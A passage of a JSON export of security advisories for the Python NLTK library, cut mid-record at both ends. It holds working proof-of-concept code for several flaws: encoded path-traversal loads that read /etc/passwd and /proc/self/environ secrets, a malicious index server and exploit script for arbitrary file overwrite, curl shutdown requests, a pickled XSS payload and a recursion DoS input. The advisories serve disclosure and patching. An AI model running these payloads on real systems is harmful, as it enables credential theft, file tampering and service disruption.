ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n    \"\"\"Test a single traversal variant.\"\"\"\n    try:\n        content = nltk.data.load(payload, format=fmt)\n        if isinstance(content, bytes):\n            preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n        else:\n            preview = content[:200]\n        first_line = preview.split(\"\\n\")[0]\n        print(f\"  [VULN] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Read OK: {first_line}\")\n        return True\n    except Exception as e:\n        print(f\"  [SAFE] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Blocked: {type(e).__name__}: {e}\")\n        return False\n\n\ndef main():\n    print(BANNER)\n    vulns = 0\n\n    # --- Variant 1: URL-encoded absolute path ---\n    print(\"[1] URL-encoded absolute path (%2f = /)\")\n    if test_variant(\n        \"Encoded leading slash bypasses ^/ regex check\",\n        \"nltk:%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 2: Encoded dot-dot traversal ---\n    print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n    if test_variant(\n        \"Encoded dots bypass \\\\.\\\\./ regex check\",\n        \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 3: Literal dots with encoded slash ---\n    print(\"[3] Literal dots with encoded slash (..%2f)\")\n    if test_variant(\n        \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n        \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 4: Read process environment (credential leak) ---\n    print(\"[4] Read /proc/self/environ (credential leakage)\")\n    try:\n        content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n        env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n        print(f\"  [VULN] Leaked {len(env_vars)} environment variables\")\n        for var in env_vars[:3]:\n            if var:\n                key = var.split(\"=\")[0] if \"=\" in var else var\n                print(f\"         {key}=...\")\n        vulns += 1\n    except Exception as e:\n        print(f\"  [SAFE] Blocked: {e}\")\n\n    print()\n\n    # --- Control: verify normal traversal IS blocked ---\n    print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n    test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n    print()\n    print(\"=\" * 51)\n    print(f\" Result: {vulns} bypass variant(s) succeeded\")\n    if vulns \u003e 0:\n        print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n    else:\n        print(\" Status: Not vulnerable\")\n    print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T14:34:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v","https://nvd.nist.gov/vuln/detail/CVE-2026-54293","https://github.com/nltk/nltk/pull/3575","https://access.redhat.com/security/cve/CVE-2026-54293","https://bugzilla.redhat.com/show_bug.cgi?id=2491486","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json","https://access.redhat.com/errata/RHSA-2026:42644","https://github.com/advisories/GHSA-p4gq-832x-fm9v"],"source_kind":"github","identifiers":["GHSA-p4gq-832x-fm9v","CVE-2026-54293"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T15:00:10.007Z","updated_at":"2026-09-25T12:01:52.463Z","epss_percentage":0.00633,"epss_percentile":0.48051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","url":"https://github.com/advisories/GHSA-469j-vmhf-r6v7","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7","https://nvd.nist.gov/vuln/detail/CVE-2026-33236","https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a","https://github.com/advisories/GHSA-469j-vmhf-r6v7"],"source_kind":"github","identifiers":["GHSA-469j-vmhf-r6v7","CVE-2026-33236"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-09-25T12:05:10.871Z","epss_percentage":0.00706,"epss_percentile":0.51307,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","url":"https://github.com/advisories/GHSA-jm6w-m3j8-898g","title":"Unauthenticated remote shutdown in nltk.app.wordnet_app","description":"### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n  - The server listens on all interfaces:\n  - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n  - Incoming requests are checked for the exact path:\n  - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n  - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n  - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n  - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest    Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g","https://nvd.nist.gov/vuln/detail/CVE-2026-33231","https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b","https://github.com/advisories/GHSA-jm6w-m3j8-898g"],"source_kind":"github","identifiers":["GHSA-jm6w-m3j8-898g","CVE-2026-33231"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-09-25T12:04:12.299Z","epss_percentage":0.01459,"epss_percentile":0.72392,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","url":"https://github.com/advisories/GHSA-gfwx-w7gr-fvh7","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","description":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '\u003cscript\u003ealert(1)\u003c/script\u003e' were not found in the dictionary.\n```\n\u003cimg width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" /\u003e\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\u003cscript\u003ealert(1)\u003c/script\u003e\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \u003cscript\u003ealert(1)\u003c/script\u003e\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:23:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7","https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f","https://nvd.nist.gov/vuln/detail/CVE-2026-33230","https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e","https://github.com/advisories/GHSA-gfwx-w7gr-fvh7"],"source_kind":"github","identifiers":["GHSA-gfwx-w7gr-fvh7","CVE-2026-33230"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.194Z","updated_at":"2026-09-25T12:05:02.913Z","epss_percentage":0.00392,"epss_percentile":0.30563,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","url":"https://github.com/advisories/GHSA-rf74-v2fm-23pw","title":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","description":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    if _depth \u003e 100:\n        raise ValueError(\"JSON nesting too deep\")\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val, _depth + 1) \n               for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:17:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw","https://nvd.nist.gov/vuln/detail/CVE-2026-66393","https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml","https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder","https://github.com/advisories/GHSA-rf74-v2fm-23pw"],"source_kind":"github","identifiers":["GHSA-rf74-v2fm-23pw","CVE-2026-66393"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-09-25T12:00:42.751Z","epss_percentage":0.00521,"epss_percentile":0.41721,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","url":"https://github.com/advisories/GHSA-h8wq-7xc4-p3qx","title":"NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()","description":"A vulnerability in the `filestring()` function of the `nltk.util` module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-09T21:31:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0846","https://huntr.com/bounties/007b84f8-418e-4300-99d0-bf504c2f97eb","https://github.com/nltk/nltk/pull/3485","https://github.com/nltk/nltk/commit/b2e1164bf89277f79b65406c829b99fb20ca1974","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-97.yaml","https://github.com/advisories/GHSA-h8wq-7xc4-p3qx"],"source_kind":"github","identifiers":["GHSA-h8wq-7xc4-p3qx","CVE-2026-0846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-18T02:00:11.532Z","updated_at":"2026-09-25T12:04:18.112Z","epss_percentage":0.0053,"epss_percentile":0.42317,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","url":"https://github.com/advisories/GHSA-68j8-pq59-fqgm","title":"NLTK has a Path Traversal issue","description":"A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T21:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0847","https://huntr.com/bounties/fc69914f-36a9-4c18-8503-10013b39f966","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-98.yaml","https://github.com/advisories/GHSA-68j8-pq59-fqgm"],"source_kind":"github","identifiers":["GHSA-68j8-pq59-fqgm","CVE-2026-0847"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.704Z","updated_at":"2026-09-14T14:03:14.485Z","epss_percentage":0.00899,"epss_percentile":0.5752,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","url":"https://github.com/advisories/GHSA-7p94-766c-hgjp","title":"NLTK has a Zip Slip Vulnerability","description":"A critical vulnerability exists in the NLTK downloader component of nltk/nltk, 